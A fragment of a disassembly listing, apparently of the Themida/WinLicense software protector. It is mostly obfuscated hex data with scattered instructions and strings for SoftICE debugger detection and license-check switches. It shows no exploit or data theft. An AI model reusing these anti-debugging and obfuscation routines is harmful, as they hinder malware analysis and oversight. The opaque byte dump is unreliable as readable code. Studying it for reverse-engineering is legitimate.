0FF206CE9h dd 90E959FFh, 89000000h, 1FBE2434h, 0E95E4231h, 0FFFF97DCh ; --------------------------------------------------------------------------- loc_564F5C: ; CODE XREF: Themida_:005542C4j pop eax push edx mov edx, 0A70D99C7h jmp loc_554D00 ; --------------------------------------------------------------------------- aRarwv db 'AwV',0 dd 29000000h, 5EF389DEh, 0DC19F381h, 0FAE9ABF1h, 55FFFF2Ch dd 6DA76852h, 815A445Ah, 0E28A5F2h, 4EC8342h, 0BB241C89h dd 31DF16E5h, 1AF8EB81h, 0E9517E12h, 0FFFEDAC7h, 2646DF35h dd 70E94829h db 74h, 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_564FB3: ; CODE XREF: Themida_:0055A5A9j sub bx, bp pop bp sub bx, 11h push si mov si, 6147h add bx, 7D3Dh add bx, si sub bx, 7D3Dh mov si, [esp] add esp, 2 add bx, ax jmp loc_55925B ; --------------------------------------------------------------------------- db 81h dd 4C4h, 24048F00h, 0E924248Bh, 0FFFF20FCh, 0B8240489h dd 6CAE4E8Eh, 0FEF52AE9h, 5536EBFFh, 33524553h, 6C642E32h dd 4441006Ch, 49504156h, 642E3233h, 4E006C6Ch, 4C4C4454h dd 6C6C642Eh, 907D700h, 0A000100h, 2000200h, 0F2001100h dd 0AE9EB901h, 92DE95Eh, 74680000h, 0E906099Dh, 0FFFDE0DAh dd 99DF568h, 0E0D0E906h, 2768FFFDh, 0E906099Fh, 0FFFDE0C6h dd 9A06368h, 0E0BCE906h, 0E768FFFDh, 0E90609A0h, 0FFFDE0B2h dd 9A1F968h, 0E0A8E906h, 7B68FFFDh, 0E90609A2h, 0FFFDE09Eh dd 2A321679h, 638BDD37h, 0B0D88EEEh, 0C810445Dh, 46C3815h dd 96A79F5h, 0FBDE335Bh, 0B6904D95h, 6D4598E0h, 0A440DF27h dd 457E35Bh, 0B933A303h, 95F38C69h, 6C290AC0h, 9C0F34EFh dd 163FE94h, 0FDADD95Fh, 0F0C06198h, 0FB565D64h, 74FC99Fh dd 0DE87CD47h, 98CC2504h, 20C132C8h, 0B6D0E9C9h, 2117795Bh dd 0C688E865h, 88741450h, 0B3D8CA7Eh, 50B340E9h, 165E1600h dd 88DE68EEh, 43C631EBh, 27D6EE37h, 8EE4451Fh, 455DB0D8h dd 0B749061Fh, 75EB293Eh, 77B18h, 0A9FFD600h, 0E2B48C41h dd 3F69479Ah, 77DD3AD7h, 0C391F26Fh, 0C3E09ABBh, 0B7AAB2E6h dd 69E40C5Ch, 223F470Dh, 0D9769EC4h, 567A3C3Fh, 0AA3A0304h dd 1E44A2D0h, 1B588E18h, 0CAF3FB41h, 0CA40A5A6h, 0A5F7401Ah dd 770F32B0h, 3816A89h, 0DF8FD6E0h, 0CDA0D523h, 17F43C65h dd 0AD9335EFh, 0B9658990h, 67FAAAF1h, 0D8355D0Bh, 33AEA8FEh dd 9A1C1FD3h, 0DA0304DDh, 0E6ABA2EAh, 9203133Ch, 6FAC19Ch dd 70570000h, 370DC028h, 0E8C41961h, 5ABB56BEh, 1673EEF6h dd 5F1B3A42h, 0D53D6B44h, 6F77D938h, 0BAC290F2h, 0F1194FA7h dd 5B9BA5Eh, 45030456h, 4E567DDh, 0AA0CEF2Bh, 0EA050DCBh dd 6FF292DAh, 0B68B4117h, 0DC5A0A50h, 393F657Dh, 0A980748Eh dd 0E5ED3C43h, 0B96911F6h, 0DB1874D3h, 583BAFh, 0A2390000h dd 7441D844h, 448F0B34h, 0BC7EF41Ch, 50DCBFEh, 3157C7DFh dd 7246F8ACh, 0E7BDC50Dh, 0B9A4F419h, 9030C2FFh, 0C422ACBAh dd 0A4EC989Eh, 0A7400DEEh, 0FC960F34h, 0A45BB03h, 1BCBFB03h dd 0E3855F67h, 0D5C1201Dh, 1FCFD484h, 6A722002h, 4BCD9BF7h dd 64332h, 44A24E00h, 588E181Eh, 9F6411Bh, 0B90F34F2h dd 2412445Ch, 9F02F6A6h, 2068FBEBh, 0AF8822F8h, 30ACA17h dd 90F26F57h, 17CA02C2h, 0FB01693Fh, 2C12C8EDh, 5D996600h dd 6C36D6C4h, 356FCA93h, 0DEFC0A09h, 0EDA943D6h, 0A5845E86h dd 59F31B49h, 1AB0E6C0h, 3BFA519h, 0DDDE505h, 2112D630h dd 503BF9Dh, 1E78D5DDh, 5E86CE48h, 331979D8h, 0DDE81DAh dd 0A03D3309h, 5C8h, 9EE6A285h, 0D73F6143h, 648CDA3Ah dd 0BCC488E9h, 0C81044A1h, 55B62D29h, 0F6AE70Fh, 0C2DC3159h dd 0B1914C94h, 680C83EBh, 454378Fh, 15EF7703h, 181E44A2h dd 5F359B9h, 3CBC3042h, 50DC960h, 6CBE9A60h, 2B06AFDAh dd 74CB9BCDh, 0FFFFFEEBh, 1E44A2F0h, 1B588E18h, 0DACFFB41h dd 0D6AD7942h, 77CA6C36h, 9A99491Fh, 0F34B899h, 74CA35CFh dd 34030A92h, 90A05C0Ch, 5E0A67FAh, 56BC468Eh, 0E3E4570Dh dd 830933A9h, 71CA45B3h, 50050D8Bh, 0A8292F71h, 72100648h dd 4521866Eh, 9FE46B41h, 66AFDAA7h, 1B4h, 0F38C69E2h, 290AC095h dd 0F34EF6Ch, 0D341949Ch, 9F74F66Dh, 6B3B8F04h, 64782B88h dd 0DE87CD5Dh, 98CC2504h, 6C36D69Eh, 9A1977CAh, 0E2A2EAB8h dd 0E941E001h, 63DC76D0h, 0DCD742DBh, 0FC746D9Bh, 1D9A3209h dd 0AC4935D5h, 14ACC454h, 0B0888F45h, 9EC68E88h, 9BD80E98h dd 0D6F376C1h, 4BB1D6EEh, 0DB5324BEh, 0C4B86894h, 0EBCB26FCh dd 0C25FE5A5h, 0FC56BEE4h, 0B555031Dh, 0F3D14AA8h, 21FBABADh dd 0D05260D6h, 0E81020DAh, 3EBA3071h, 1F7EF429h, 48Ch dd 52BAEEC1h, 0EBF3A5BFh, 38401676h, 7098CC25h, 8CD4809Dh dd 91F2F16Dh, 43A6BBC3h, 3E18F51Dh, 0F5CD0068h, 2CC847AFh dd 46B6BD3h, 0C1BB2B03h, 6C267F95h, 326FB993h, 7F151D0Fh dd 8E6903A5h, 3045728h, 63DB5868h, 23030457h, 8CEE7313h dd 47A3BEC6h, 73F57B11h, 8C93A9Ch, 0AE78876h, 0A7A19C4Eh dd 3DD701E7h, 0A492C4DCh, 0A3CB73E0h, 0BB8B0304h, 6A3016EBh dd 12EABCF3h, 0EB827803h, 408h, 0DE266245h, 177F2103h dd 0A4CC9AFAh, 0FC0448A9h, 8500461h, 15766DE9h, 0CF2A274Fh dd 829C7199h, 71518CD4h, 0A84CC32Bh, 46BF74Fh, 552FB703h dd 0E8CB44A2h, 0D244106Dh, 0A0E46A92h, 0AB009A0h, 7CDD5B83h dd 0DB89E566h, 77E1295Dh, 0A381983Ch, 0C3292DFDh, 0DA19B35h dd 7BC19B05h, 0BA229F6Fh, 7AAB954Eh, 0D5E41FE0h, 83C18B5Bh dd 4DAFDAC5h, 140292ECh, 0D08EF939h, 76C999C1h, 0FFFFFCFBh dd 1E44A2F2h, 1B588E18h, 9AD5F641h, 4D750F34h, 0BC02FD97h dd 0FC030AE4h, 6FC14B4h, 8AEE43E5h, 211252C4h, 50DCB9Dh dd 0E335D5DDh, 3360661Dh, 0EFE19E99h, 21110F34h, 9CEF856Bh dd 0F2F53D96h, 30DE6D0Ch, 0C585ACBEh, 44DF4980h, 0BF8DAB23h dd 0F56B84B6h, 808A5A2Ah, 0F87B1142h, 0A124061Bh, 0B9D9BABh dd 71C298DDh, 0A7235FFEh, 19F0AA9Ah, 0F4A2823Dh, 0EB461CCCh dd 0A0BDC58Bh, 9AD8E42h, 49AB1D3Fh, 9DD83179h, 5B5B0B5Eh dd 2F688E5h, 745B0000h, 3311CC14h, 0ECC8056Dh, 0A6BF52BAh dd 1A77EAF2h, 5B17264Eh, 0D1396F48h, 6B73253Ch, 0A6CE94F6h dd 0FD054BABh, 1B58622h, 4103046Ah, 7F955BD1h, 0A3936C26h dd 130F326Fh, 64D76923h, 30457D2h, 7FC73092h, 3F030457h dd 451FCFF7h, 386E4EA3h, 0EBB99568h, 96FFCB31h, 3FDE3492h dd 0BAD676Fh, 4D19628h, 73EED603h, 90D44216h, 43116DF0h dd 386E44D5h, 13389E21h, 0ADC04603h, 274h, 4A92F6D9h, 83EBBD97h dd 0D0386E4Eh, 6870243Dh, 0A4CC98F5h, 0E9CAD995h, 5BBE53BBh dd 1670EDF5h, 0CD253840h, 4A07F87h, 469833Bh, 0D953C303h dd 6C267F95h, 4C1C77CAh, 6FAF9F9Ch, 0D11F0F32h, 1C577ECEh dd 31EB1315h, 4C94FAD8h, 48187BD6h, 4CC686CEh, 0B6845E05h dd 534C94C5h, 663CECB8h, 4FD1795h, 0DD5B6B03h, 9C1263Bh dd 4FD882Eh, 0B0F8C803h, 64300D10h, 8FE801F2h, 7D3D03D9h dd 2D7B20C9h, 62C24E4h, 7DFE94C3h, 3046181h, 0CA57C1F1h dd 4AECA6ECh, 46155E9h, 7D2D1503h, 83E378FBh, 111FB5DDh dd 0A19B584h, 0B885457Fh, 5C02F45Ah, 0E4C8CC05h, 1E662C0Ah dd 0E7BDE3C3h, 0F648AB4Dh, 0B6030496h, 96298D8Eh, 8C690304h dd 0E8B8E0B6h, 0C132D40Eh, 304967Dh, 0C855F53Dh, 22BFB9EFh dd 3C6A4AC5h, 5C8402F4h, 0E5713585h, 51071FF2h, 42AA80E7h dd 0DD054BA8h, 0C6981C46h, 97166FE0h, 3D69EFB9h, 1B4303F5h dd 913D1EF3h, 684E9EB7h, 666FBBCh, 66AEE650h, 0EACB26F0h dd 54F4B0A6h, 0CF273B02h, 24029F99h, 2A4EF87Eh, 5D41FDC2h dd 0FEAA8757h, 0C7DD3C96h, 136CF191h, 74E2B490h, 0D40E0830h dd 0E1550C66h, 0A29D9C54h, 304891Ch, 312C545Ch, 7CC181D7h dd 57C23462h, 0A8292F79h, 0AD100648h, 0C82BC329h, 940E5098h dd 71489CA6h, 0BDBA888h, 3815E5CFh, 0E9C9046Ch, 7A3AB5A3h dd 14BB91EFh, 0F0D6A80Ch, 7E0AF0AAh, 9ED81776h, 825FB757h dd 98C82BA4h, 9A6D109Eh, 0F77E3830h, 9187CFh, 1A877127h dd 71E0563Ch, 62CB4D13h, 6278C60h, 7056288Ch, 370FC22Ah dd 63F48EA7h, 9310712h, 0F6AFA50Fh, 0F0E6E35Ch, 4AB0B14Eh dd 9CFECD48h, 1A0440B6h, 0F1421B63h, 0BD70894Dh, 2DFD250Dh dd 76CB81B1h, 99CD4B11h, 6D7B81C9h, 0A5A19248h, 0F3B74F2Dh dd 0BB92E20Dh, 0F0AA14A5h, 7972BF07h, 17B7FFBBh, 7CDD5B6Bh dd 0F61EF666h, 357DFED7h, 9AFA570Dh, 5EF41CCCh, 0EE03BB84h dd 7343BB79h, 34D4BA9Eh, 9583C929h, 20B60E1Ah, 6B3D1B62h dd 43156CEDh, 50A4BED5h, 0F4F8DA6Bh, 0E563C1Ah, 0ABADF3D3h dd 0C983C92Eh, 0D672C437h, 232E3DEh, 0C86E442h, 9680D42Dh dd 0E2CA0EDEh, 1C642A08h, 0BDBBE1C1h, 320h, 0FF795800h dd 1B1D4BA2h, 4F258BEh, 6DEBB995h, 55C395ECh, 0BBBDEBC4h dd 0A197FDDEh, 8B8DD330h, 0FE782E0Eh, 0D95F0163h, 0E7895732h dd 4C781h, 0BB530000h, 4, 875BDF29h, 505C243Ch, 405E089h dd 83000000h, 48704E8h, 34895C24h, 1A9A6824h, 4890000h dd 6503BE24h, 0F6816610h, 199373CAh, 8E6C146h, 5303E6C1h dd 804C93BBh, 0EFF3812Bh, 8163AD07h, 5E1F8FE3h, 8FEB816Ch dd 810F9F07h, 3D6F55EBh, 3EB8142h, 29E382E1h, 8B545BDEh dd 0C4812404h, 4, 8B951h, 0E9810000h, 51A0797Fh, 0C181C101h dd 51A0797Fh, 0FF593189h, 81582434h, 4C4h, 2434FF00h, 4C4815Eh dd 0E9000000h, 0FFFDD7C2h, 1CF8DAC2h, 4B007F57h, 0B8B10507h dd 609A514h, 0E0FFC503h, 0ECB5660h, 5B33D78Eh, 568DD0F3h dd 7D74083Ah, 753D0AADh, 1EAA0727h, 1918D698h, 578D7D7Ch dd 1DB7F52h, 64196887h, 1316BED0h, 34CF5AF3h, 24D86654h dd 27D55AEFh, 6D112C8Ah, 65F275E2h, 5B7AA23Dh, 36098353h dd 70E34311h, 16784D81h, 0AE9776Bh, 626DF862h, 0AE8h, 0BF95300h dd 14E851A1h, 666FEE2Bh, 585012BAh, 32B1B966h, 5EF8C081h dd 0C7800000h, 0F5F63313h, 0B70634FFh, 10E95FF3h, 0A4000000h dd 316BAE54h, 3865897Eh, 690E5444h, 814D13A0h, 95371AC7h dd 0DA81662Ch, 0EF81EA90h, 6C9A6B2Ch, 0F6C98166h, 37C781E0h dd 661C670Ah, 3C89D78Bh, 755DBB30h, 0B70F21F1h, 0D4EE81D3h dd 662418ECh, 0C681D68Bh, 2418ECD0h, 0C542D381h, 0FE816C96h dd 0FFFFA18Ch, 0FF9A850Fh, 8B66FFFFh, 73E9CFh, 83600000h dd 70C79BDh, 840F0006h, 5, 5EE9h, 80006A00h, 850F303Eh dd 8, 0E946006Ah, 35h, 0F333E80h, 885h, 46106A00h, 24E9h dd 343E8000h, 8850Fh, 306A0000h, 13E946h, 3E800000h, 8850F35h dd 6A000000h, 2E94640h, 6A000000h, 0D5858D00h, 5006072Dh dd 50240489h, 6A243489h, 0A595FF00h, 61060719h, 4D85C6C3h dd 4D06071Ch, 288CA968h, 24048173h, 310CE9FFh, 16BDB5FFh dd 858D0607h, 6073A13h, 8589D0FFh, 60719A5h, 7E8h, 0A9FAD00h dd 929B0CE3h, 8D5958Bh, 0B9580607h, 22D1051Ch, 64CEC081h dd 8F0F0000h, 6, 10598D89h, 37BE0607h, 811AE0B6h, 1F62D6C6h dd 5BBB66E5h, 8930FF99h, 7178DB5h, 66605F06h, 5272DF81h dd 10E98501h, 81610607h, 0A571E4C7h, 8DB5311Ah, 81060717h dd 6B3D6F7h, 7D950931h, 81060717h, 0E6EF14C7h, 0D9F3BA6Dh dd 8A576D14h, 66008FD8h, 8490E981h, 5004E883h, 0EE9h, 0F1DFCB00h dd 1A58265Ch, 5AA1D210h, 5A72DF76h, 1EE81h, 850F0000h dd 0FFFFFF99h, 0EBD78B66h, 2E5C5C1Eh, 4349535Ch, 5C5C0045h dd 49535C2Eh, 44495657h, 2E5C5C00h, 49544E5Ch, 8B004543h dd 830FC0h, 83000000h, 73101BDh, 9750006h, 0A55BD83h, 74000607h dd 8B535019h, 40FB8C0h, 85890000h, 6072BADh, 0B3F29D8Dh dd 0D3FF0609h, 0BD83585Bh, 6070A55h, 50177400h, 40FB853h dd 85890000h, 6072BADh, 0B0E19D8Dh, 0D3FF0609h, 0F781585Bh dd 6EF2B3B6h, 7E9h, 1F7FFC00h, 0D5EFE5DFh, 0B58BC08Bh dd 6071E49h, 1C4D85C6h, 89430607h, 72A1595h, 4E806h, 6EFC0000h dd 8B66BC8Eh, 506050F3h, 5EDF8B66h, 960DCDBAh, 448B6173h dd 13E90424h, 9000000h, 95788B1Bh, 0A6685C33h, 66D2FF42h dd 37D7B64Dh, 8B7EDCh, 89C88B66h, 0E9042444h, 6, 7652250Ah dd 0E85888A7h, 0Ah, 3C8A4954h, 0E0845BDDh, 0FF5E894Ch dd 701A9B5h, 12E806h, 0D12B0000h, 6D87557Ch, 6EC09D9h dd 3C74251Ch, 629BBC07h, 2CADB531h, 8D590607h, 73A1385h dd 0ADE8106h, 0FF215F22h, 45B58BD0h, 5006070Fh, 0C6BEBA66h dd 0E9240489h, 0Ch, 37E6B9Dh, 12A73089h, 0F734DFE8h, 0BF0F006Ah dd 1A3E68C9h, 525094BAh, 240457BEh, 0F310F1Bh, 0D89h, 7E800h dd 64BB0000h, 4693B53Dh, 585A5A50h, 42240481h, 896B45E6h dd 707B99Dh, 81036A06h, 28A71CD2h, 6A006A5Eh, 3E85200h dd 20000000h, 895AC35Ah, 81042454h, 14042444h, 42000000h dd 6A63C352h, 4E803h, 0 dd 5250C000h, 6653310Fh, 5FD9EDBFh, 8B50585Ah, 0F042444h dd 1187h, 0BA525000h, 57305CBh, 8D0F310Fh, 0 dd 8B585Ah, 0F88B6660h, 209A12BBh, 44896174h, 0BF660424h dd 89586991h, 70FA9BDh, 0F49D8D06h, 6A0609A7h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1D042444h, 46000000h dd 783C356h, 0AE7CB40Dh, 21063BA3h, 91658DBAh, 958B5366h dd 6070F55h, 7E8505Eh, 0C9000000h, 8856F1F9h, 27B9071Ch dd 5F283A68h, 8B241C89h, 89D0FFCAh, 726C585h, 850F4006h dd 2ADh, 0F58D2B2h, 68Ch, 0FD8D8900h, 5006071Ah, 374CB966h dd 0F240489h, 285h, 6AEF8A00h, 55BD3100h, 6806071Fh, 58FC14ACh dd 52505250h, 310F5250h, 310F585Ah, 5E8h, 9D48B500h, 5A5FAB96h dd 60310F58h, 6E95857h, 0A0000000h, 0EF056D3Bh, 585A61F5h dd 2C243481h, 8958FC14h, 700799Dh, 66036A06h, 6AD68Bh dd 0BE8h, 1B568200h, 252F5B3Eh, 5A1EBDE5h, 12459589h, 6A5A0607h dd 65C98103h, 0E800C0B9h, 4, 0C0000000h, 0BBE6656h, 0F505942h dd 48Bh, 0A4B96600h, 24448BDDh, 66008B04h, 4489CF8Bh, 0F98B0424h dd 0CFB70F58h, 0FD9D8DFCh, 890609A7h, 715B59Dh, 0FB19306h dd 8932BE50h, 0B993105Ch, 22A914DFh, 9531D0FFh, 6070701h dd 0CA850F40h, 66000001h, 0E958CE8Bh, 13h, 0AF147CDAh dd 0A8DEA475h, 0EA17D9C3h, 50579785h, 907576B0h, 8AE7BE66h dd 8B0F50h, 90000000h, 12E8h, 9ED0FC00h, 0BF5E0385h, 72997FA6h dd 47C36ED5h, 81C11ED2h, 0BAC6F0EAh, 6A5F6Bh, 1E618D8Bh dd 4E80607h, 80000000h, 60000000h, 0BE8h, 51EFE100h, 29AD1C0Eh dd 0D64FA22Dh, 310F5250h, 615B585Ah, 0BE950h, 6A050000h dd 87D6691Ch, 0BAFA8814h, 24448B3Ch, 1CBA6604h, 50008BAAh dd 6860F52h, 0F000000h, 87h, 5A310F00h, 24448958h, 0F18B6604h dd 9E958h, 66290000h, 2229982Ah, 6AC7E224h, 919D8903h dd 6A06071Dh, 3025B900h, 36A04BEh, 0DE8h, 451B9300h, 0F2D45655h dd 8FAC99F1h, 9D89BCC9h, 607048Dh, 4E85Ah, 0 dd 0CE9C000h, 9D000000h, 898CE7ABh, 77C18D2Bh, 50AA31FFh dd 424448Bh, 8BD18Bh, 66505250h, 5F04FEBFh, 0F88B310Fh dd 4489585Ah, 6A580424h, 3E85000h, 20000000h, 8958C358h dd 81042444h, 18042444h, 40000000h, 2F31C350h, 0F89DBFDBh dd 8B1BD31h, 9D8D0607h, 609A808h, 0E856006Ah, 3, 5EC35E20h dd 4247489h, 4244481h, 18h, 4CC35646h, 9DDF8717h, 7B9BF66h dd 0F5935093h, 6AD0FFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 170424h, 56460000h, 0DA85EFC3h, 118D8B81h, 40060706h dd 33850Fh, 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h dd 1B0424h, 51410000h, 9A0E27C3h, 94A094A5h, 6DB9667Dh dd 0EE95832h, 8B000001h, 72141B5h, 0FD88B06h, 82h, 958B4B00h dd 60731B5h, 0E9BD0B58h, 0C606071Fh, 71C4D85h, 6A4306h dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1D0424h, 57470000h dd 0F2C95DC3h, 3FD16C54h, 0FA967A5h, 681h, 9D8D8900h, 0E906070Bh dd 0Dh, 4A2930ABh, 0BF506CE5h, 4FAEB0B8h, 748A6882h, 9E8923Ch dd 0AA000000h, 0A3AD7E6Dh, 6DECDE80h, 6766CBB9h, 4815E76h dd 39D61D24h, 3985892Eh, 0FF060702h, 701A9B5h, 0E9CF8B06h dd 0Eh, 6C4F38E6h, 0F6829602h, 697FB625h, 858DFD67h, 6073A13h dd 837DBF66h, 0D0FFFB8Bh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Dh, 0EFC35141h, 61839791h, 29A2CF30h, 8B6650F4h dd 241C89F7h, 0BC7B5BFh, 0E281661Dh, 0D0FF6377h, 9AF9F681h dd 9D8D5C49h, 607715Dh, 0B8C7C280h, 1, 6E9E3FFh, 11000000h dd 0CBE9E987h, 8BC18B6Fh, 71B15BDh, 51C08B06h, 0DDB3E9BAh dd 0BD835F4Dh, 6073101h, 83097500h, 70A55BDh, 19740006h dd 0C08B5350h, 40FB8h, 7D858900h, 8D060721h, 9B4599Dh dd 5BD3FF06h, 55BD8358h, 6070Ah, 53501774h, 40FB8h, 7D858900h dd 8D060721h, 9B0FA9Dh, 5BD3FF06h, 13E958h, 0F7C30000h dd 0B9702A0Eh, 222CF7A1h, 33D549C9h, 9938C01Ch, 4D8D8B15h dd 906071Bh, 718C585h, 0E9C08B06h, 0AAh, 74666F53h, 65726177h dd 6E69575Ch, 6563694Ch, 65736Eh, 63656843h, 4E496Bh, 6F727058h dd 69784574h, 68430074h, 4F6B6365h, 57005455h, 694C6E69h dd 736E6563h, 72655665h, 6E6F6973h, 6E695700h, 6563694Ch dd 4465736Eh, 65766972h, 72655672h, 6E6F6973h, 6E695700h dd 6563694Ch, 4965736Eh, 6174736Eh, 65636Eh, 74697845h dd 50006B4Fh, 49636F72h, 7250004Eh, 554F636Fh, 78450054h dd 4E497469h, 69784500h, 54554F74h, 49705400h, 4Eh, 2 dup(0) dd 0AF7F0000h, 72F077DDh, 96E977DDh, 89000005h, 9AF1585h dd 11858D06h, 500609AFh, 0AE7B858Dh, 68500609h, 80000001h dd 0AF2195FFh, 196A0609h, 0AF15B5FFh, 16A0609h, 858D006Ah dd 609AEAAh, 11B5FF50h, 0FF0609AFh, 7314D95h, 11B5FF06h dd 0FF0609AFh, 9AF1D95h, 11B5FF06h, 0FF0609AFh, 71D2D95h dd 8589C306h, 609AF15h, 0AF11858Dh, 8D500609h, 9AE7B85h dd 1685006h, 0FF800000h, 9AF2195h, 8D046A06h, 9AF1585h dd 46A5006h, 858D006Ah, 609AED4h, 11B5FF50h, 0FF0609AFh dd 7314D95h, 11B5FF06h, 0FF0609AFh, 9AF1D95h, 11B5FF06h dd 0FF0609AFh, 71D2D95h, 8589C306h, 609AF15h, 0AF11858Dh dd 8D500609h, 9AE7B85h, 1685006h, 0FF800000h, 9AF2195h dd 8D046A06h, 9AF1585h, 46A5006h, 858D006Ah, 609AEBCh dd 11B5FF50h, 0FF0609AFh, 7314D95h, 11B5FF06h, 0FF0609AFh dd 9AF1D95h, 11B5FF06h, 0FF0609AFh, 71D2D95h, 8589C306h dd 609AF15h, 0AF11858Dh, 8D500609h, 9AE7B85h, 1685006h dd 0FF800000h, 9AF2195h, 8D046A06h, 9AF1585h, 46A5006h dd 858D006Ah, 609AEE7h, 11B5FF50h, 0FF0609AFh, 7314D95h dd 11B5FF06h, 0FF0609AFh, 9AF1D95h, 11B5FF06h, 0FF0609AFh dd 71D2D95h, 8589C306h, 609AF15h, 0AF11858Dh, 8D500609h dd 9AE7B85h, 1685006h, 0FF800000h, 9AF2195h, 8D046A06h dd 9AF1585h, 46A5006h, 858D006Ah, 609AE97h, 11B5FF50h dd 0FF0609AFh, 7314D95h, 11B5FF06h, 0FF0609AFh, 9AF1D95h dd 11B5FF06h, 0FF0609AFh, 71D2D95h, 0BD83C306h, 6072FB5h dd 0B840F00h, 8B000000h, 72FB59Dh, 4CC38306h, 83C30389h dd 72FB5BDh, 840F0006h, 0Bh, 2FB59D8Bh, 0C3830607h, 0C3038950h dd 2FB5BD83h, 0F000607h, 0B84h, 0B59D8B00h, 8306072Fh dd 38954C3h, 0B5BD83C3h, 6072Fh, 0B840Fh, 9D8B0000h, 6072FB5h dd 8958C383h, 0BD83C303h, 6072FB5h, 0B840F00h, 8B000000h dd 72FB59Dh, 5CC38306h, 0C3C30389h, 15858960h, 8D0609AFh dd 9AF1185h, 858D5006h, 609AE7Bh, 16850h, 95FF8000h, 609AF21h dd 858D046Ah, 609AF15h, 6A046A50h, 0C858D00h, 500609AFh dd 0AF11B5FFh, 95FF0609h, 607314Dh, 3101BD83h, 0F000607h dd 0C84h, 11B5FF00h, 0FF0609AFh, 9AF1D95h, 11B5FF06h, 0FF0609AFh dd 71D2D95h, 60C36106h, 0AF158589h, 858D0609h, 609AF11h dd 7B858D50h, 500609AEh, 168h, 2195FF80h, 6A0609AFh, 15858D04h dd 500609AFh, 6A046Ah, 0AEEE858Dh, 0FF500609h, 9AF11B5h dd 4D95FF06h, 83060731h, 73101BDh, 840F0006h, 0Ch, 0AF11B5FFh dd 95FF0609h, 609AF1Dh, 0AF11B5FFh, 95FF0609h, 6071D2Dh dd 8960C361h, 9AF1585h, 11858D06h, 500609AFh, 0AE7B858Dh dd 68500609h, 80000001h, 0AF2195FFh, 46A0609h, 0AF15858Dh dd 6A500609h, 8D006A04h, 9AEF585h, 0B5FF5006h, 609AF11h dd 314D95FFh, 0BD830607h, 6073101h, 0C840F00h, 0FF000000h dd 9AF11B5h, 1D95FF06h, 0FF0609AFh, 9AF11B5h, 2D95FF06h dd 6106071Dh, 858960C3h, 609AF15h, 0AF11858Dh, 8D500609h dd 9AE7B85h, 1685006h, 0FF800000h, 9AF2195h, 8D046A06h dd 9AF1585h, 46A5006h, 858D006Ah, 609AEFDh, 11B5FF50h dd 0FF0609AFh, 7314D95h, 1BD8306h, 60731h, 0C840Fh, 0B5FF0000h dd 609AF11h, 0AF1D95FFh, 0B5FF0609h, 609AF11h, 1D2D95FFh dd 0C3610607h, 15858960h, 8D0609AFh, 9AF1185h, 858D5006h dd 609AE7Bh, 16850h, 95FF8000h, 609AF21h, 858D046Ah, 609AF15h dd 6A046A50h, 4858D00h, 500609AFh, 0AF11B5FFh, 95FF0609h dd 607314Dh, 3101BD83h, 0F000607h, 0C84h, 11B5FF00h, 0FF0609AFh dd 9AF1D95h, 11B5FF06h, 0FF0609AFh, 71D2D95h, 60C36106h dd 0AF1585C7h, 10609h, 858D0000h, 609AF11h, 7B858D50h dd 500609AEh, 268h, 2195FF80h, 0B0609AFh, 0F840FC0h, 0C7000000h dd 9AF1585h, 6, 4DE900h, 46A0000h, 0AF15858Dh, 6A500609h dd 8D006A04h, 9AE8F85h, 0B5FF5006h, 609AF11h, 314D95FFh dd 0C00B0607h, 0F840Fh, 85C70000h, 609AF15h, 0 dd 0AE9h, 1585C700h, 10609AFh, 0FF000000h, 9AF11B5h, 2D95FF06h dd 6106071Dh, 0AF15858Bh, 60C30609h, 0AF158589h, 858D0609h dd 609AF11h, 7B858D50h, 500609AEh, 168h, 2195FF80h, 6A0609AFh dd 15858D04h, 500609AFh, 6A046Ah, 0AE8F858Dh, 0FF500609h dd 9AF11B5h, 4D95FF06h, 83060731h, 73101BDh, 840F0006h dd 0Ch, 0AF11B5FFh, 95FF0609h, 609AF1Dh, 0AF11B5FFh, 95FF0609h dd 6071D2Dh, 8960C361h, 9AF1585h, 11858D06h, 500609AFh dd 0AE7B858Dh, 68500609h, 80000001h, 0AF2195FFh, 46A0609h dd 0AF15858Dh, 6A500609h, 8D006A04h, 9AEA185h, 0B5FF5006h dd 609AF11h, 314D95FFh, 0BD830607h, 6073101h, 0C840F00h dd 0FF000000h, 9AF11B5h, 1D95FF06h, 0FF0609AFh, 9AF11B5h dd 2D95FF06h, 6106071Dh, 4D85C6C3h, 5206071Ch, 0E47B0768h dd 89B5FFADh, 0FF060715h, 7182995h, 21858906h, 0C60609AFh dd 71C4D85h, 0E5685206h, 0FF902E00h, 71589B5h, 2995FF06h dd 89060718h, 9AF1D85h, 4D85C606h, 5206071Ch, 0BF123568h dd 89B5FFB9h, 0FF060715h, 7182995h, 4D858906h, 0C6060731h dd 71C4D85h, 34685206h, 0FF987810h, 71589B5h, 2995FF06h dd 89060718h, 71D2D85h, 4D85C606h, 5206071Ch, 5DBD468h dd 89B5FFC0h, 0FF060715h, 7182995h, 45858906h, 0E9060705h dd 99h, 6775622Fh, 63656863h, 2F00326Bh, 63677562h, 6B636568h dd 6F662F00h, 72656372h, 2F006E75h, 63677562h, 6B636568h dd 6C6C7566h, 68732F00h, 6F63776Fh, 2F006564h, 776F6873h dd 65646F63h, 632F0032h, 74726Ch, 7369642Fh, 732F0031h dd 69776F68h, 6174736Eh, 65636Eh, 7465672Fh, 74736C77h dd 73757461h, 6F6C2F00h, 61747367h, 737574h, 6D75642Fh dd 61747370h, 737574h, 0 aCheckprotectio db '/checkprotection',0 align 4 dd 0DBBD8300h, 609B5h, 0A840Fh, 85C70000h, 6070A55h, 1 dd 1C4D85C6h, 0E8470607h, 4, 906D6C8Dh, 24448B50h, 89008B04h dd 58042444h, 1A9B5FFh, 858D0607h, 6073A13h, 0D0FFD0FFh dd 3F80F88Bh, 22850F22h, 47000000h, 0FAE22B0h, 0FFFFF985h dd 3F80FFh, 31B840Fh, 80470000h, 840F003Fh, 311h, 1EE9h dd 3F8000h, 303840Fh, 3F800000h, 6850F20h, 47000000h, 6E9h dd 0E2E94700h, 80FFFFFFh, 850F003Fh, 5, 2E0E9h, 1E900h dd 80470000h, 840F203Fh, 0FFFFFFF6h, 0F003F80h, 585h, 2C3E900h dd 0AE80000h, 0E9000000h, 0FFFFFFCBh, 2B4E9h, 5BB58D00h dd 0E80609B5h, 225h, 0B5F0BD03h, 0BD830609h, 609B5F0h dd 0B840F00h, 0C7000000h, 7310185h, 106h, 